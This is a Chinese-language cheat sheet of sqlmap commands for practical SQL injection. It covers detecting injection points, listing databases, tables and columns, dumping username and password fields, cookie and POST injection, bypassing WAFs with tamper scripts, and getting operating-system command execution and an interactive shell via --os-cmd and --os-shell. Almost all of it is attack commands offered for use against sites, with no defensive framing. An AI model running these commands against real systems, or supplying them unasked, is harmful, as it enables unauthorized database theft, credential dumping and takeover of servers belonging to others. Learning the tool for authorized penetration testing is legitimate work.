说明
本文主要讲一下sqlmap在实战中的一些技巧
注入检测
检测注入
sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 --batch
参数"--batch"命令来自动答复y或n。
批量检测
sqlmap.py-m url.txt
常用注入方法
1.ACCESS数据库注入:
sqlmap.py -u "url" /*-u为常规扫描参数*/
sqlmap.py -u "url" --tables /--tables拆数据库表/
sqlmap.py -u "url" --columns -T "要拆的表名"/列出指定表名/
`sqlmap.py -u "url" --dump -T "要拆的表名"-C "要拆的字段名" /`--dump为拆解字段名会保存在sqlmap/output目录下`/
`
2.MYSQL数据库注入:
sqlmap.py -u "url" /*扫描注入点*/
sqlmap.py -u "url" --dbs /列出所有数据库/
sqlmap.py -u "url" --current-db /列出当前数据库/
sqlmap.py -u "url" --current-user /列出当前用户/
sqlmap.py -u "url" --tables -D "当前数据库名" /拆解当前数据库表/
sqlmap.py -u "url" --columns -T "要拆得的表名" -D "当前数据库名" /拆解指定表字段名/
`sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "当前数据库"
`
3.mssql数据库:
同MYSQL
4.COOKIE注入:
sqlmap.py -u "www.xxx.com/asp或者www.xxx.com/php"?--cookie "参数名如id=1" --level 2/*level为级别,不同级别检测的不一样*/
5.POST注入:
抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名"
sqlmap.py -u "url" --data "POST参数"
6.执行shell命令:
sqlmap.py -u "url" --os-cmd="net user" /*执行net user命令*/
`sqlmap.py -u "url" --os-shell /`系统交互的shell`/
`
7.注入HTTP请求 :
sqlmap.py -r xxx.txt --dbs /*xxx.txt内容为HTTP请求*/
8.绕过WAF的tamper插件使用:
sqlmap.py -u "url" --tamper "xxx.py"
9.sqlmap自动填写表单注入:
sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 数据库名称--tables
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
`sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
`
10.延时注入:
sqlmap --dbs -u "url" --delay 0.5 /*延时0.5秒*/
`sqlmap --dbs -u "url" --safe-freq /`请求2次`/
`
实战使用
列出全部数据库
sqlmap -u " http://127.0.0.1/web.php?id=1 " --dbs
列出 web1库的全部表
sqlmap -u " http://127.0.0.1/web.php?id=1 " -D web1 --tables
列出user表全部字段
sqlmap -u " http://127.0.0.1/web.php?id=1 " -D web1 -T user --columns
跑指定字段的数据
sqlmap -u " http://127.0.0.1/web.php?id=1 " -D web1 -T user -C 'name,username,passwd' --dump